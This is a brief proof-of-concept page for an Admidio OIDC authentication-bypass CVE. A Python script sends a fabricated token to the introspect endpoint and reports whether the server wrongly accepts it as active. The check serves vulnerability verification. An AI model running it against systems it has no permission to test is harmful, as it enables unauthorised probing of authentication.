CVE-2026-41671 Admidio OIDC认证绕过漏洞

import requests def check_poc(url): # The vulnerable endpoint path target_url = f"{url}/modules/sso/index.php/oidc/introspect" # Use a completely invalid/fabricated token fake_token = "attacker_fabricated_token_payload" # Prepare the payload data = { "token": fake_token } try: response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: json_response = response.json() # Check if the server claims the fake token is active if json_response.get("active") is True: print("[+] Vulnerability Confirmed! The endpoint accepts invalid tokens.") print(f"[+] Response: {json_response}") else: print("[-] Token returned as inactive. System might be patched.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": target = "http://localhost/admidio" # Replace with actual target check_poc(target)